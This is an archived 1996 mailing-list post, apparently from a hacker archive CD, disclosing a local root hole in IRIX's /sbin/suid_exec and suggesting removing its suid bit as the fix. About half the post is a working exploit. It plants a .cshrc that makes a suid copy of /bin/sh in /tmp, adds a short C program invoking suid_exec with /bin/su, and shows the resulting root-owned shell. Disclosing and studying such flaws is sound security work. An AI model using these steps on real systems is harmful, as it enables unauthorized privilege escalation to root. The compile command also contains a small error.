home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / irix_sui.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.2 KB  |  87 lines

  1.  
  2.                              Irix: suid_exec hole
  3.                                        
  4.    Yuri Volobuev (volobuev@t1.chem.umn.edu)
  5.    Mon, 2 Dec 1996 20:25:58 -0600
  6.    
  7. Howdy,
  8.  
  9. Yes, one more Irix root vulnerability, and yes, it's another suid program.
  10.  
  11. ABSTRACT
  12.  
  13. /sbin/suid_exec is owned by root and suid.  I don't know what it's supposed
  14. to do, but it can be easily exploited by any local user to get root
  15. priorities.  Exploit works on both 5.3 and 6.2 machines, it's part of
  16. eoe.sw.unix and thus is installed on each and every machine.
  17.  
  18. FIX:
  19.  
  20. chmod -s /sbin/suid_exec
  21.  
  22. ERRATA
  23.  
  24. In my previous post, I mentioned that rfind subsystem is not part of Irix
  25. 6.2.  Apparently, as Jaechul Choe <poison@cosmos.kaist.ac.kr> mentioned,
  26. it's there, though it's not part of "default" distribution, whatever it is.
  27. It has same bugs 5.3 version does and is also vulnerable to all posted
  28. exploits.
  29.  
  30. If you are busy, move on to your next message now.
  31.  
  32. Full Story.
  33.  
  34. If you think something like "it's getting too boring...", you are right.
  35. I'm getting bored, too.  It's like beating dead horse.  Unlike SOD folks, I
  36. don't have so much desire, I just hack Irix for fun, and it's no fun
  37. anymore, so I think I'll stop, at least for some time.  I actually wasn't
  38. going to hack suid_exec, either, but the name was just too attractive.
  39.  
  40. /sbin/suid_exec (/etc/suid_exec is a link to it) is a misterious program.
  41. It's not known to me what it's supposed to do.  Man page is not there, and I
  42. had no clue about what it actually does.  Trying to run it will not give one
  43. anything, except errors.  So I got curious.  After some playing with system
  44. call tracing and strings, I think I found what it does.  It checks argv[0]
  45. (why?, for ownership and permissions, and if it's executable, it invokes
  46. your default shell to parse that file.  If it's root-owned suid program,
  47. suid_exec will not give up root priorities prior to execve.  So it can serve
  48. as an interpreter for suid shell scripts.  Of course, by default all suid
  49. executable files on Irix are ELF binaries, and when shell tries to parse
  50. such a file all you get is errors, but...  Interesting point: it gets shell
  51. name from SHELL environment variable.  Besides, it doesn't care what this
  52. shell may do, and it may do a lot of interesting things, like executing dot
  53. files.  There are many ways to exploit it, to my taste the easiest is
  54.  
  55. % setenv | grep SHELL
  56. SHELL=/bin/tcsh
  57. % mv ~/.cshrc ~/.cshrc.old
  58. % cat > ~/.cshrc
  59. cp /bin/sh /tmp
  60. chmod a+rsx /tmp/sh
  61. ^D
  62. % cat > expl.c
  63. main()
  64. {
  65.   execl("/sbin/suid_exec","/bin/su","/bin/su",0);
  66. }
  67. ^D
  68. % cc expl.c -o expl.c
  69. % ./expl
  70. Too many ('s.
  71. % ls -l /tmp/sh
  72. -r-sr-sr-x    1 root     sys       140784 Dec  2 19:21 /tmp/sh*
  73.  
  74. (Sorry non-csh folks, I guess you get the pattern anyway).  Again, one can
  75. get root out of it in a faster way, it's just one of the many.
  76.  
  77. I'm really curious: what is this thing doing on the system, anyway?  Getting
  78. root out of it is seemingly its only use.  I just didn't find any reference
  79. to it anywhere.  So may be removing suid bit from it will break something, I
  80. don't know.  Nothing is in /etc/*/*.  I wish some SGI god followed
  81. competitor's good example and explained us what it does.  But guess what are
  82. the odds of it.
  83.  
  84. cheers,
  85.  
  86. yuri
  87.